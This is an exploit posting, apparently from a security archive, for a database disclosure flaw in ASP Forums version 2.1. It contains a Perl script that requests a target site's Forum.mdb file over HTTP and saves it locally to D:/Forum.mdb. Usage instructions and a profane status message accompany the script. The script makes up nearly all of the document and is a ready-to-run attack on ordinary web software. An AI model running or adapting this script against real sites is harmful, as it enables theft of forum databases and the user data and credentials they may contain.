ASP Forums 2.1 Database Disclosure
Posted on 08 February 2016
| # Title : ASP Forums version 2.1 Database Disclosure Exploit | # Author : indoushka | # email : indoushka4ever@gmail.com | # Tested on: windows 8.1 Français V.(Pro) | # Vendor : http://adyou.me/4TVD ========================================================= #!/usr/bin/perl -w # # Author : indoushka # use LWP::Simple; use LWP::UserAgent; system('cls'); system('ASP Forums version 2.1 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use "; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ "; print "[+] usage2 : perl $0 localhost / "; } ($TargetIP, $path, $File,) = @ARGV; $File="Forum.mdb"; my $url = "http://" . $TargetIP . $path . $File; print " Fuck you wait!!! "; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/Forum.mdb"); if ($request->is_success) { print "[+] $url Exploited! "; print "[+] Database saved to D:/Forum.mdb "; exit(); } else { print "[!] Exploiting $url Failed ! [!] ".$request->status_line." "; exit(); } Greetz : jericho http://attrition.org & Larry W. Cashdollar* http://packetstormsecurity.com Hussin-X *D4NB4R* KnocKout * https://www.corelan.be *